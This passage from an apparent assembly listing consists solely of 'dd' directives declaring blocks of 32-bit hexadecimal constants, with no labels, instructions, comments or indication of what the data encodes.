		dd 77E0E717h, 0A50484E7h, 836CD870h, 8DED7C21h,	0C846C455h
		dd 93A187D4h, 0FA3124ADh, 31F236FDh, 0CBB561BBh, 0A3C286A2h
		dd 2B3D42FBh, 0DFBD35CFh, 32DFEE8Bh, 647AE61Ch,	775820Dh
		dd 0CAE166FFh, 0B1712AB3h, 5B6F182Eh, 4541A50Dh, 2C0FD50h
		dd 0D8B2D0E1h, 66C4C54Ch, 79E8ED1Fh, 9CEE5C37h,	45C37DCBh
		dd 0D9169201h, 0DCF6734Ah, 558823F8h, 4F6CBC6h,	3F71E9C9h
		dd 0CDD3FF74h, 0ED0941A5h, 0B1119810h, 37643E9Ch, 0E1467474h
		dd 6E73EA71h, 99E9049Dh, 612C4ED2h, 375E5170h, 7C4EF7D1h
		dd 0BB691149h, 3595BB05h, 8A171E2Ch, 2282AB6Ch,	3F278539h
		dd 38EB44CFh, 7A360E7Bh, 0ECFFD7DBh, 1CE82A07h,	1522AE79h
		dd 2F6C2122h, 0C39897B6h, 305AC1C7h, 5EA339D8h,	0F1474A99h
		dd 46946919h, 0DFA87CF2h, 4924A90Fh, 7CD33E7Ch,	0FE97B8B1h
		dd 7B423FF4h, 0A4F3F0B4h, 623408Eh, 0B41D3519h,	0CB905D76h
		dd 855EBA6Ch, 49338854h, 0E55C59C6h, 18C26B69h,	0C7AF593Bh
		dd 3413D0BAh, 0E1B08120h, 42AB504Eh, 8C30B812h,	953A90h
		dd 89ED9A32h, 0E9A3574Ah, 9F1E5878h, 0FF346B0Dh, 9D473EEBh
		dd 0F947861h, 31D59F7h,	50201997h, 0FD728383h, 992419B5h
		dd 0E114630Ch, 943E5CAAh, 9D4EF5Eh, 0EA80B12Bh,	2434A6CDh
		dd 0B9987B32h, 7176CA20h, 0E65BFD10h, 0FBD43A30h, 6787A33Eh
		dd 8B01422Ah, 61AD930h,	3BED0805h, 4CEAD11Eh, 1E72E06Dh
		dd 0D197F19Eh, 19C2F2D5h, 0BCF6E00Fh, 5C2B34A0h, 0A0BEED93h
		dd 0F838DC7Fh, 3D44B11Bh, 6228D052h, 0E576108Ah, 0DFB00CFAh
		dd 0A6CE7926h, 0BCBF14B0h, 0B57A3B0h, 6EBD847Ch, 80B5E11Ch
		dd 0D477102h, 0E37BBAA3h, 0DF5330A3h, 99CB2BF3h, 29C967CFh
		dd 1D584666h, 0CB19488h, 0F94BB3FBh, 0F54F6B22h, 26757C50h
		dd 34D91291h, 9ADB8016h, 0F3191E88h, 0DFA1579Dh, 6D922F03h
		dd 45D5C0E3h, 335A51FAh, 0F96DB9C1h, 948478F8h,	6C57FFFBh
		dd 0C3A3B72Bh, 0C59D8B14h, 0C5707CD7h, 7601A02Eh, 2F6C9145h
		dd 671CF1D1h, 0DF124D93h, 0C1EC8908h, 90B5013Ch, 5DB23ED5h
		dd 27AC6A28h, 7E4FF059h, 7DFC802Ah, 659B68B6h, 54C90B2h
		dd 0F564DC80h, 8114E1CFh, 86B80D27h, 6652C705h,	1B3F503Bh
		dd 3951C0FAh, 0F0CE71C0h, 47E89A7Ch, 768BDE96h,	59C7C6E6h
		dd 0EA3BF324h, 9DDC9565h, 4AF695CEh, 6B8E3299h,	0A4439967h
		dd 0D56FB9A4h, 8F396Fh,	73283C74h, 726390ACh, 22C3FABCh
		dd 9A4943A8h, 828BDF02h, 0CB7FFF6h, 1DB45F9Eh, 0F2F04CD7h
		dd 37F61724h, 0FBC7CBAAh, 0FFFF460Bh, 7A0E3E82h, 0E9DB4741h
		dd 51B53A84h, 720249B9h, 0B95AC61Ch, 0BA88933Bh, 0E1A90343h
		dd 76196DF0h, 5EA80CC3h, 737C3C93h, 6FE612BDh, 8D5DEC50h
		dd 57DF8D68h, 0D6C6A8B4h, 0F48BA309h, 3C6A207Dh, 70D32283h
		dd 5EF9D74h, 5C43ABBAh,	0A11F0545h, 8A0B1ADCh, 16078CA4h
		dd 3B17406Dh, 3BEA18EAh, 41AA9C36h, 3AAE12A7h, 1FE1BC3Ah
		dd 30BFECF1h, 10DF4B11h, 8CC024E0h, 90024726h, 0F0A1B666h
		dd 0A3B48AFh, 866C7356h, 0AC374F6Bh, 0F6E9549Fh, 9048F698h
		dd 6C0F971Bh, 318C92B8h, 573A2BA7h, 6976172Eh, 46863292h
		dd 0ECCA4B72h, 8BA8457Fh, 0E7F88BA4h, 0F2C51D39h, 146428A5h
		dd 83F66C7Fh, 1115FBD0h, 0E064C53Fh, 0BE101ABBh, 727A0EFh
		dd 0AD7D70B7h, 38F4AD43h, 0D4EBAD09h, 0C752B85Dh, 0AF313B8Eh
		dd 167AB3B5h, 2E99A6BCh, 38E02C7Dh, 0F15C1356h,	22224845h
		dd 0DC28BA00h, 0D4F3EF6Dh, 6337E31Ah, 5254DE15h, 28B8C2B7h
		dd 0EBE0C680h, 0E5A273A7h, 10D37EB8h, 0C950D521h, 0B953111Ah
		dd 4D914373h, 0DBF2A21Ch, 0B1F4C3B4h, 0AEDDB4BBh, 8958C465h
		dd 0EC69953Bh, 27E8C70Eh, 75D4025Ch, 0F4058DD8h, 0EF671DCCh
		dd 8E65A87h, 0A6AB7937h, 0C801018h, 0CD37A628h,	0C684E6BCh
		dd 0DCF0C176h, 32EEFB6Ah, 0DDDAC7D8h, 0EF06774Bh, 0A24068BBh
		dd 0EDF8568Bh, 90A8B2ACh, 1A5A8D6Ch, 0E57509B2h, 36883001h
		dd 862BC920h, 0BF5FCE79h, 0FEB0B6AEh, 0F2165A81h, 0FDFA9F97h
		dd 7A8FCCDFh, 1D323Bh, 8AFA0158h, 2C020452h, 1567EF47h
		dd 2EF3EE2h, 5C6943C2h,	36649B65h, 61FCD43Bh, 420957A5h
		dd 212268E5h, 19CB191Bh, 0B23B4A74h, 0BD24F82Dh, 60716670h
		dd 96F43301h, 0AAD24D77h, 2A38CDC3h, 3B2CA679h,	84898EE3h
		dd 14DC50DDh, 0F4A4B76Ah, 0ACB49FAFh, 22D33753h, 0BE66F3C5h
		dd 2DE0079Eh, 42356049h, 73DED459h, 5F13FC8Dh, 4A0BFB81h
		dd 0FB357D43h, 3C90DD4Ch, 2944C29Bh, 0B9A117A2h, 94FA4405h
		dd 63CB28DAh, 37201BCh,	2257DAD0h, 91B9FD2Ch, 59C382A0h
		dd 0D6028242h, 75103164h, 0CE375DEh, 6B6DF168h,	0E69D81B7h
		dd 0E0616873h, 0F8274197h, 8921155Eh, 0A491F7Fh, 0FA76B5E0h
		dd 60AABE92h, 60D4E10Ch, 1EC93235h, 0ED7E712Eh,	9ABBCEAh
		dd 3FD506DBh, 8CCB7A78h, 65A135Bh, 44383CE4h, 75A38F81h
		dd 1F9EE90Ah, 9DF9FC72h, 4B3E31DEh, 0CA6DE3C3h,	0D8CED17Fh
		dd 0C7890F14h, 0E2AD8D55h, 8E577FFh, 0AD2BFA44h, 28FF5136h
		dd 4E21CDF1h, 0CF61E56Ah
		dd 36B2E9A7h, 0B7E2A9E1h, 0F8016D06h, 386EB65Dh, 98C5EECDh
		dd 9E23C0D7h, 9398D7Ah,	0AB492AEAh, 0F62F241h, 0BA5AEEBEh
		dd 0C8E4560Bh, 0B23D66Ch, 44E9CC22h, 649B44B4h,	0D04EBBF7h
		dd 8964F7A3h, 90A5BA18h, 0F695996Eh, 3B6EB953h,	7A7B48C1h
		dd 86105FB1h, 0D7DD65A9h, 9165941Bh, 10CEF208h,	0D125DD6Ah
		dd 0B5DF307Ah, 9337570h, 0D2F438BFh, 0E368FBEAh, 0B649C670h
		dd 6238259Dh, 3104E5AFh, 190AD641h, 0BDE6E463h,	2F7CB511h
		dd 626B2CEAh, 4B212B1Ch, 0AF43C54Eh, 3B11A1Bh, 7FFED99Eh
		dd 3F000E46h, 174A725Eh, 0EDADDBFDh, 7E4FE55h, 7613578Dh
		dd 0FECC2805h, 1C611F7Fh, 0D21D7418h, 0B1698A1Ah, 9F4816C0h
		dd 45920905h, 0A348554h, 6BDC29CDh, 7A15C82Ch, 6C4E5799h
		dd 96B9AE1h, 0B5CBAF8Ch, 3F25B9DCh, 41B20FF3h, 7A82FA07h
		dd 0C361378Ah, 0B442BD64h, 0DFC4DEF5h, 53CF756Fh, 0A9C0850Eh
		dd 0E72564A5h, 0BA76942Ch, 0F819BBBAh, 0B21CCA27h, 5CBE7D8Ch
		dd 7C4AE351h, 44C9125Eh, 0AB59D403h, 0A6076C63h, 2DD21D7Fh
		dd 0A69C4EEBh, 0CCD2802Fh, 99D89EE9h, 0D3F27BAFh, 15759BB3h
		dd 1323AF88h, 0B8091531h, 84EC8604h, 765E2866h,	735E636h
		dd 0B24101B2h, 0A6CCD801h, 0FB5FC93Bh, 2E5E9F4Dh, 0EDDDCA52h
		dd 82DD1CB7h, 0BA5CF579h, 993D5709h, 0D0B15B4Ch, 5710D1C7h
		dd 0CE5C155Fh, 87A9138Eh, 5A350690h, 44BD0152h,	0BC430E13h
		dd 7CB7860Dh, 0E661694Eh, 1EF8BF1Ch, 93A03929h,	6803FD71h
		dd 0E5E32B75h, 99738FC8h, 8F21CA65h, 0CC9A609Bh, 52EF87C3h
		dd 10906A4Ah, 1A0F37F3h, 236E5E98h, 454424BDh, 7149A766h
		dd 0E57FC766h, 990635ECh, 12F3046Bh, 0FC0B4C56h, 0F19AD47h
		dd 16CF67AAh, 9FA34D23h, 9797403Ah, 9E657076h, 3360FDD2h
		dd 0EBBE82Ah, 94708950h, 9DC93893h, 685FAA3Eh, 498815C7h
		dd 299AA533h, 0B9D3E375h, 6DA9ADF8h, 67906BD4h,	0D5355F6Bh
		dd 9F51E42h, 186CF1A5h,	0B1B62799h, 9CE96507h, 570D415Fh
		dd 2444C7A3h, 0CEBD6C8h, 8DEE1E11h, 0FCFCADAAh,	119D2CC5h
		dd 0E214C5C3h, 2A40979Eh, 25AA897Dh, 0CC756171h, 0A6693523h
		dd 0E89F9A12h, 9B2E0E81h, 0D35D3401h, 0D8DA183Ch, 0A600475Eh
		dd 79AE8309h, 70D2F4ADh, 756E5125h, 20AC3209h, 551C1279h
		dd 0D10B2B25h, 0D36BBDC6h, 0FA5D9EDh, 48149736h, 0F1F82257h
		dd 0AF137E98h, 5D816B3h, 92F9007Bh, 0B208D4A8h,	527E7475h
		dd 0CDBE7FD3h, 0A48B537Dh, 0FCC50EDBh, 134147C1h, 0AAA8B8Eh
		dd 0CCCBAC6Eh, 0BF342AEDh, 0E4E04AC9h, 9139806h, 87CB79Bh
		dd 0E989F6F0h, 0BA14EE01h, 0A5445908h, 0ABD7999Bh, 0BD87E663h
		dd 0A6730AEFh, 0EF1A1AFCh, 0AAC57B21h, 0E15C8826h, 0BA5D2E3Ah
		dd 0C6076190h, 0CB082114h, 330B28E2h, 0D5A201A8h, 0D79CDE12h
		dd 6A1D764Bh, 782AB7EBh, 0D2C5D7E4h, 485A358Fh,	79FC547Bh
		dd 0D1E06C74h, 0C5040682h, 8214D0B1h, 492EA3D1h, 0FAD4150h
		dd 13845303h, 69803D6h,	9D19DE62h, 51FF507Ch, 737CBD3Ah
		dd 10D42527h, 6FD80B6Ah, 46AD9F4Ch, 7F3282CEh, 22F3702h
		dd 2BC7382Eh, 58E00C83h, 0BD74BE06h, 19FCC316h,	54A965FFh
		dd 914E00C5h, 0A4A38981h, 0C80590DCh, 0E0ADE53Bh, 0EC304677h
		dd 639D1C07h, 58083997h, 91052210h, 0D06FA40Dh,	0A7DCE29h
		dd 31AA23DAh, 0F73C2315h, 44769E81h, 53FE9F6Eh,	0F51AE65Ch
		dd 0A6250FCh, 53E570CDh, 2F86D160h, 0EEBD8B45h,	9720AD8h
		dd 99C79C28h, 658AD887h, 61DAE63Ch, 1B64CAF6h, 1791EF2Dh
		dd 95E6E32Bh, 0C30EF0BAh, 48D9410Dh, 7BCBE446h,	0C3F404C8h
		dd 0E05BEC60h, 952B4922h, 79639171h, 0B5DC8014h, 0CE44D07Ah
		dd 0D8360E4h, 5C61489Bh, 0F283D596h, 3742B31h, 7A473FF0h
		dd 6BAE7721h, 5E00A4C7h, 0F87911B9h, 783EF50Fh,	9FB85EFDh
		dd 0DF1AA7EFh, 8CF75974h, 0CC450D16h, 0A94AD6D1h, 0B59410D7h
		dd 80585461h, 30F834Ah,	11A2874Fh, 1B12B115h, 67BF8F49h
		dd 4C79F7C6h, 67EDA1EFh, 5FE79005h, 2CE01F11h, 0D479059Fh
		dd 483DA9E0h, 70F0485Ch, 8B81D0DDh, 0A4E9ECCDh,	70285704h
		dd 29E95F98h, 322ECAECh, 0D470BECDh, 871E2665h,	0F78BBA62h
		dd 28DFFADh, 57735F81h,	56619D44h, 38ACB1A3h, 81BEE9ECh
		dd 89A85728h, 0F580F4CFh, 83BD6182h, 0D5115016h, 0D478020h
		dd 0C9CAD59Bh, 7CA2CCF4h, 0A2A0D4C2h, 488FF96h,	8E10BD58h
		dd 58EDDC73h, 0DE5A7C5Ch, 49AFAB17h, 1E69ED7Dh,	0B7AD25C4h
		dd 239E167Ah, 0B61DD097h, 2CF948B1h, 0D98B5865h, 0FB8D42C7h
		dd 36C62A4Ah, 70EFC6F2h, 0DC24CB65h, 5E531F79h,	5181A188h
		dd 43B77B81h, 0BD8DEF7Eh, 9BB4E0AFh, 773B5B0Ah,	0FDF2C6CBh
		dd 896DCE6Dh, 0C1F6D77Ch, 778E9F4Dh, 99B289EFh,	77B48F63h
		dd 0B9475B13h, 9EA3E0AAh, 7112A141h, 8B233715h,	40D0A3B8h
		dd 60EF6C11h, 7E7E0CF4h, 83413179h, 7B355AA8h, 912069E8h
		dd 95F9E2B3h, 613F802Dh, 0E2F80E30h, 98DB7E7h, 69B2C191h
		dd 17AC7700h, 9D54B026h, 0BAEB7025h, 0BC91631h,	7F1A938Eh
		dd 30A50D02h, 0F00BE0F6h, 1132FFA8h, 58D23249h,	23F3B51Ah
		dd 76CBD92Bh, 700B17E1h, 1E89D6BFh, 585E995Ah, 0A37D5ECFh
		dd 10E9DDACh, 24813595h, 2E2F7C7Bh, 6124E9D8h, 0F65B8DB0h
		dd 7D74896Ah, 0BFC6C834h, 45E8D17Dh, 0A6776B40h, 40EAA308h
		dd 6EA8737h, 5BBC60Dh, 0AEE72E30h, 2AC66395h, 0A88910E1h
		dd 94E4567Bh, 0C07150CDh, 9A46FCBFh, 533FA3D3h,	61D3B691h
		dd 0E85A2180h, 21A922FFh, 27E0BC8Bh, 0DCF7C258h, 0E7DA1A8Ch
		dd 0DEE444A4h, 2F1BA9DFh, 0D91A23Eh, 273688C1h,	6185BE40h
		dd 31739F83h, 7F401BB0h, 4324BE67h, 0A46B4AD5h,	8651FB9Bh
		dd 0A196A75Fh, 2DE8C981h, 0A315C520h, 0AAEA787Bh, 0DC58ABF1h
		dd 8FF877E7h, 2E6FD361h, 0FDE05708h, 508F78AEh,	0C17B22D8h
		dd 16CFE428h, 6CBFB739h, 1FECDC78h, 0B6B20CFCh,	483009EAh
		dd 6A6E2A8Ch, 882EB58Fh, 45ED4CF7h, 0F8EE5DE9h,	4792B512h
		dd 0B2860D62h, 8ED6D4EFh, 0E52CE5FCh, 332FD934h, 66E67BA6h
		dd 40F13DB0h, 2AB8959Ch, 0DFAB0609h, 418E1724h,	0AF7C5D63h
		dd 9B6C3E9h, 0C98E08E1h, 2E7151C3h, 3C0DB737h, 0D0C7D2Fh
		dd 0ED09482h, 4D738818h, 77C1F79Ah, 8D3979A0h, 2BED5BCDh
		dd 0C5B855AAh, 0EC03F35Ch, 8A148AB0h, 81C03C77h, 0E6A8DD6Fh
		dd 6E3F2FCCh, 0CA350560h, 5C82AB8Eh, 167FA2BBh,	0A155961Ch
		dd 6DA0DC8Dh, 4BDEF17Eh, 0DA1A4618h, 0B67B725Eh, 1A81EFF8h
		dd 9951F070h, 35D6073h,	0BB7CE176h, 0E924A138h,	0E305B48Ch
		dd 5096B335h, 0F908678Dh, 26FA8452h, 32C9B112h,	836A4DD1h
		dd 0D80B8FF2h, 0DB9C399Ah, 3B3B298Ah, 5FA44B96h, 82BC5CE6h
		dd 40E6AC8Ch, 59DFA51Dh, 88A196AEh, 0CD65AB0Fh,	15C3B553h
		dd 0C200379Eh, 67F93F96h, 52B0EF2Bh, 0A9173D8h,	7A2B2895h
		dd 3786F67Ah, 389BBEB6h, 0E0DFF64Bh, 69FF52C9h,	31292DD0h
		dd 2704D7F3h, 2696FA12h, 0E85EA3F6h, 47F44C56h,	5A08FB5h
		dd 0CE0F03E4h, 0E7120E74h, 0CDEC223Fh, 78C15B2Dh, 60F2AD4h
		dd 0B63FC78Dh, 44CC8B4Ah, 0B22A95F1h, 0CD1B181Eh, 71DB8F99h
		dd 0A0AEC3FCh, 0E8C28DB8h, 4EAAD63Eh, 8755885Eh, 705839C0h
		dd 292E7B00h, 6F4FE2D8h, 8FE32D0Ch, 87620FDEh, 7E9F5D45h
		dd 99D2A86h, 0F268788Ah, 97F8F086h, 12D0903Eh, 0EBB3F482h
		dd 0F16E76A2h, 0AC9BF4E5h
		dd 0CDD98FDFh, 3947F822h, 2985FB3Ch, 0E4DD47C7h, 6AACA45Ah
		dd 4814AFBBh, 0FA9864EDh, 0C7B1D2F1h, 0EF76E409h, 0CD14226Dh
		dd 895F4BB9h, 0C51E5EF1h, 0E6EAB7C0h, 3C6FB9D1h, 0BE995DB0h
		dd 0E0E0E81Bh, 3CF1D2FEh, 0EECE7466h, 2D21A881h, 0D20E0FCEh
		dd 23DAA7F0h, 0E7D73120h, 0F7FE9EBFh, 0DCD48DB4h, 4F9E5812h
		dd 7C4C5229h, 11B9E599h, 5587E460h, 0E143D167h,	0E5BEDF94h
		dd 146FD068h, 2E927887h, 0CAC9E504h, 0DEC032F1h, 417CFABDh
		dd 2ADF2FEFh, 8EC8EE0h,	696028E9h, 10C7758Eh, 43765A08h
		dd 0A3D6F25h, 0B36E9B6Dh, 8FEF45FDh, 335D3CCh, 688535CCh
		dd 82E7AF0Ah, 517D258h,	0C6B9C423h, 4B8ABA38h, 73F94403h
		dd 0F42ABF1Eh, 0D328C4DBh, 70C920D2h, 0A90BC141h, 2997B0FAh
		dd 0C501DCD3h, 0D05EBA3Eh, 0C2607548h, 93BD2B75h, 463153FBh
		dd 2F361417h, 0C80BE063h, 4DFA7B57h, 70E3E7AFh,	3459F7B2h
		dd 0B979C2EDh, 492539C3h, 7F69B2FBh, 1980B3DDh,	3C853290h
		dd 1856096Eh, 0CA789BA5h, 73DEF42Ch, 326FD4BBh,	1B47D64h
		dd 0A360DC32h, 2C20F11Ah, 637D923Dh, 0B0FA870Dh, 9DA8B6ACh
		dd 3DE81DC8h, 2A96C129h, 0B9A558A7h, 0FA76AB9Fh, 6F5AA563h
		dd 0AE3452DBh, 5CDC4804h, 5BDA8CC5h, 0C03BEE99h, 0DEC2FBADh
		dd 9CFAB47Fh, 993ED63Dh, 0E2DC7FFCh, 0FA890718h, 0F80733A8h
		dd 307AECA1h, 0C02D4D34h, 1F35D398h, 0A96BC842h, 45131CDCh
		dd 7FC7C344h, 0F832ADA2h, 4436B617h, 28BA97ACh,	0CB5E0072h
		dd 0E1492F4Eh, 0F470DA61h, 350F7DA3h, 0E62AE514h, 66FFB20h
		dd 8167CF1Eh, 6630BA7Dh, 11157F65h, 47502D91h, 624CC773h
		dd 0C0198E1Ch, 0B188D092h, 60A286BCh, 0F8413765h, 92192C23h
		dd 0F2A28431h, 24157095h, 65816A2Eh, 0A43896E4h, 0CD73E39Ah
		dd 0B1B08F4Fh, 1FF57C6Eh, 0DEC5AA3Ah, 0BC74246Bh, 0D20877C8h
		dd 0E392B158h, 4061213Ch, 45A66B6Ah, 0B6E375AAh, 0C87E3020h
		dd 1A74D92Ch, 5FC66780h, 9F623230h, 8FD2EA3Ah, 419B5A0Fh
		dd 1FFEAB4Bh, 53FFFF3h,	5407D0F2h, 1866EC5Fh, 7E540793h
		dd 4AEA29DEh, 0D618D569h, 2FBB24FFh, 2E7D7AFFh,	39F936E3h
		dd 0C8C61541h, 733D5B43h, 87B53678h, 578D7B3Ch,	0D93033C5h
		dd 2D932538h, 77112353h, 0ECB76FE7h, 0FACEDF3Ch, 486FECF4h
		dd 6A7039C8h, 30BCCF71h, 0C8A42B57h, 0B07885ACh, 0B4F1ECF3h
		dd 0B0D6A601h, 440D0850h, 37CCF5ACh, 233095FBh,	875320B3h
		dd 131736C6h, 6BCD57C8h, 2F01458Dh, 2B5B4189h, 0D6C2C465h
		dd 23E8503Eh, 7808C94Ah, 676655B0h, 4E1211C0h, 0F01AFA62h
		dd 85BC728Ch, 16F85A09h, 7843036Ah, 0DA75D3D1h,	9B92C08Ah
		dd 8C03FF67h, 8392B554h, 58433266h, 0B62078AFh,	0AAD2836Ah
		dd 11B505E7h, 435B960Ah, 0EEC43110h, 97E0EF5Ch,	0A3A1A2D0h
		dd 6AFE8EDh, 0BB39BB60h, 1E4F5910h, 0D88930D0h,	9FD6AAFDh
		dd 0E410568Ch, 7BD54854h, 93E07B3Eh, 9EF62EE0h,	51B42747h
		dd 0E97A53C4h, 0DBDE4F97h, 27FCAFF6h, 0A916FFE7h, 628D7631h
		dd 8C7EA8ECh, 77D78D77h, 66D6F37Ah, 40DB4F26h, 0C73B8213h
		dd 0D08E542Fh, 34981CE5h, 761E9EF6h, 3BF79371h,	6A453764h
		dd 0FE73156Ch, 0C720D3A8h, 0E3845C6Ah, 0B2DBAB06h, 0BDB766F8h
		dd 29229671h, 0E2E919ACh, 0FDD64FF6h, 2A996E9h,	6287D645h
		dd 32E9F157h, 46DC5D2Dh, 80BBA138h, 9B3972BBh, 0E643BF83h
		dd 7636798Ah, 27CC2E4Fh, 90005E08h, 0D5C3F48Ah,	0A587B760h
		dd 0FE92F24h, 59C37DB2h, 0E80BBD8Eh, 0F8355EA8h, 0A8AE165Fh
		dd 0A27536C8h, 0D8D5355Bh, 884E59F6h, 12FB38EFh, 4E4997DEh
		dd 95AEDDA4h, 0D73C7B76h, 16E9F49Ah, 388A9CC7h,	1DA49791h
		dd 0D3EBE74h, 529D2E21h, 56FBC1C1h, 9961EE72h, 8FE4B232h
		dd 0FCCFF05Ah, 0EA1EEA34h, 24C0A12Bh, 6361CED7h, 84801D5Eh
		dd 0B80D756Dh, 0C892FDEEh, 8DC97EA1h, 69E33436h, 76DDCDABh
		dd 9C777237h, 0DA0A2038h, 0E423F3ACh, 95A57D17h, 94AB26C0h
		dd 5D0C0906h, 9D8F9D50h, 11D8B1EDh, 79B090AAh, 0FEEDC687h
		dd 26C2B00Ah, 0A5DA1C53h, 3A071A71h, 6B978212h,	819436B0h
		dd 0CDF74C4Bh, 7704B099h, 0B25AA585h, 4744DB03h, 92678A12h
		dd 0EDA0392Fh, 6A38B9EDh, 5F80AC59h, 86B8835h, 557FB470h
		dd 34E2B194h, 3F77BC47h, 0F9D40515h, 72B77E4Fh,	193488CAh
		dd 6A6E127Fh, 78B9B729h, 0BC71F138h, 0ECF07A8Ah, 684125EFh
		dd 129E0FF1h, 0F4FAB045h, 0F666CC41h, 32E582DEh, 860B7E0h
		dd 8AE59B84h, 5F0B1896h, 0C3A89028h, 81524BFCh,	28C7DDBFh
		dd 63CC7E2Fh, 91DE81E9h, 8B9AC6FCh, 0BAE1C723h,	2766FEF1h
		dd 0CD8F5B65h, 745D474Ch, 677EE9D1h, 47A9F9A7h,	0D16D53A7h
		dd 0A9842A72h, 3D0FD016h, 6C19F8FEh, 481819C6h,	503BE9C2h
		dd 75604433h, 8EC9AD41h, 2EF2E603h, 66F5A3A5h, 0A5BE396h
		dd 0D01C10DDh, 0CDFCED7Ch, 64A31BB4h, 6A21AF54h, 0CD20EFEAh
		dd 21D57582h, 0C70ED712h, 0B736E702h, 70E22307h, 3CB6A15Ah
		dd 78A333h, 2B582A3h, 3B704B3Dh, 0CD1CD9AFh, 23BFC854h
		dd 4619C38Dh, 0A20BC122h, 7CE0CCDFh, 5A7EB469h,	0E72AC097h
		dd 1383C8D3h, 8FC2A0F3h, 71AD315Ch, 0AF42EBFAh,	0B759F589h
		dd 38F6560Eh, 19C55F11h, 37138BC3h, 32C7444h, 55C51C9Ch
		dd 0CFA34414h, 0A7ABBE6Ah, 553159DEh, 0FB8E4635h, 1862D1AEh
		dd 66473A5Ah, 5821CDB5h, 5082B8F8h, 2C44FA92h, 840740E3h
		dd 62EF8A7Dh, 6235B101h, 0EE079E38h, 0C3D1D61Ah, 6A9D5372h
		dd 5E933F08h, 4E3B60B8h, 0CCCC1B6Ch, 76EFC10Ah,	0C8C3594Ch
		dd 6607D83Bh, 0E10FCFF1h, 0DBAD7132h, 8861F9E4h, 0CBEF966h
		dd 0A6E4A69Fh, 5E0EF3F3h, 2B0A159h, 0E552FEC4h,	7B91A40h
		dd 0BC4A41Ah, 69AC30C0h, 0C9E1E8D9h, 0A0052C21h, 4A881EE0h
		dd 0E597AA35h, 8562BA96h, 3C4F95CEh, 95F30C4h, 0F71F3717h
		dd 355DEF53h, 90A53104h, 0ABC8C3A2h, 3C0F4863h,	0B186BE13h
		dd 0F47D1549h, 7A1E2508h, 1E1E11B9h, 0E03549F5h, 0CF3A7B7Dh
		dd 0DB4FAFh, 0B2ED90C2h, 3FF3F869h, 0CD6E0B14h,	0CDBD859Dh
		dd 805E0BBh, 0E2880CA7h, 0B84ADAh, 0FFE0A41h, 0C22013Bh
		dd 0E87F32F2h, 0B1C5202Dh, 0CF94FB79h, 0A1F48799h, 0EC325914h
		dd 0BDE2EB84h, 383A5CAh, 0DC40A583h, 0CD2D1352h, 5E386B3Ah
		dd 6FA32E2Dh, 0A8A03D2Ah, 299728E2h, 0E778555Ch, 5AE96EB5h
		dd 5168DFCFh, 13E62992h, 6F03C613h, 57B5112Eh, 0EBE5F0C6h
		dd 0A351CC8Dh, 412C54B4h, 99D0FF02h, 8F669CD6h,	7E99E31Dh
		dd 9A0DA11Eh, 84B766Bh,	8594BDC1h, 0D47F962Fh, 0F73E7D95h
		dd 0D28240A9h, 7AF4E879h, 38F43FAEh, 78D1415Ah,	9EB5426h
		dd 63196949h, 69B5AB0h,	0FC15BF9Ah, 0A43C1A64h,	0F6B24C3Eh
		dd 1EE7F06Ah, 3DC0258Ch, 0C757CB07h, 61F46021h,	71890F98h
		dd 97A2E7A7h, 7154FE3Bh, 29CDDBE8h, 68638FAEh, 421CE382h
		dd 52D2ACC5h, 4108A2F3h, 0CE50EE55h, 0C3633FDBh, 9758D351h
		dd 4AD2CD11h, 0B9587C22h, 120143E7h, 0C32364CCh, 0BB1ECDD8h
		dd 8EF974E9h, 0C218344Dh, 141154A0h, 0F2B0313Eh, 6AF3FCE6h
		dd 0DF1DDB42h, 2175A62Dh, 4E2E8CC5h, 0E9A8AF56h, 29AFCF91h
		dd 8D64121Ah, 499FAE6Ch, 0C4E0D660h, 40617056h,	0DBF618CEh
		dd 74318ABDh, 47DA763Ah, 45B6F54Eh, 0C8BD33B6h,	0FB9159AFh
		dd 8D7716F5h, 8AA45738h, 1CCE6C5Ah, 42C81B4Ah, 0EBCC8955h
		dd 3C7E7A93h, 839DE1BDh
		dd 0F308D44Ah, 2AA64A9Ch, 0DD3E8B14h, 731C5532h, 0E1677ECEh
		dd 0B702DB7Bh, 3B7D764h, 600E7CA0h, 0BFCEF995h,	0DC5D8FBCh
		dd 2F99D14Eh, 0CDA6CB73h, 9C646DD4h, 66BAECE7h,	7C5604D6h
		dd 0D099A7E5h, 1D146121h, 4DBC8018h, 7A26854Ah,	0EAF918D8h
		dd 3FCC336Eh, 0AA03EAEEh, 6F3CCDD1h, 28D4C6EFh,	0EA02946Ah
		dd 321DBF68h, 9A509B8Fh, 5B0F7501h, 0C61CE77h, 7B920B2Ah
		dd 5F8ED259h, 7FBF9656h, 0FF38EBEFh, 0C681B969h, 3F324CFBh
		dd 8792088Ch, 0FACF65C1h, 2E6C0BA2h, 20C89500h,	0A99BE230h
		dd 353D20ECh, 0C9B15F7Ah, 0C72D6F7Ah, 95740AA2h, 564DD1E2h
		dd 87F53A62h, 4FF03DE9h, 0D8C35824h, 589DC41h, 951C0E3Ch
		dd 0CF39A74Ch, 3B1DC8DAh, 8C1E3A5Bh, 5F9B5B4Ch,	277B0F25h
		dd 575B995Ch, 52F2B455h, 0D3365A01h, 91534B7Ah,	88A5696Ch
		dd 8572F19Ch, 51D62816h, 0CE737672h, 6E32A180h,	0A8C0F7D9h
		dd 0B2D43348h, 47FF7024h, 0A8BC853Ch, 2636D4B3h, 0D0A79ACEh
		dd 0BE6526Dh, 9B1712B8h, 0B9BB79A9h, 2FA170D9h,	283769DEh
		dd 368C6916h, 1CF00038h, 8E8CA0C2h, 0D493A5E3h,	0CAB8AF9h
		dd 275B481Eh, 0A4EF77BEh, 15F527CFh, 0C78457BFh, 4A79B90Bh
		dd 5F64E7F4h, 0C4CF22BBh, 5EB1EFC1h, 2DF3801h, 34BB33A7h
		dd 70B5CDE7h, 0F2A067E4h, 49FDE25Eh, 61341A91h,	6BAB3C23h
		dd 63D7CFF0h, 4CDE8EA8h, 0CA80DFB8h, 5FFE681Dh,	7DB57D92h
		dd 763E466Ah, 2A4D1B38h, 3F353318h, 0E947C52Dh,	0E623751Bh
		dd 6ADD9CBh, 6F8C607Ah,	0DE9E0A07h, 5A28BC67h, 9E06ADBEh
		dd 34C1740Fh, 0DE36D551h, 6CDA33D9h, 270EB0FBh,	754CF82Fh
		dd 0A6A7A583h, 0BA0E82EDh, 198CAD3Bh, 65C5301Fh, 0A47A76ABh
		dd 2DB13FB9h, 3D758EEAh, 0A71CA4B6h, 217FE56Fh,	2A8B7D8Ch
		dd 7AF723D7h, 0ABE719h,	11DBDE4Ch, 28DA569Fh, 49A45FD8h
		dd 20553C2Ah, 0E68F03CAh, 0AB136A0h, 465CC4E9h,	62EF31EBh
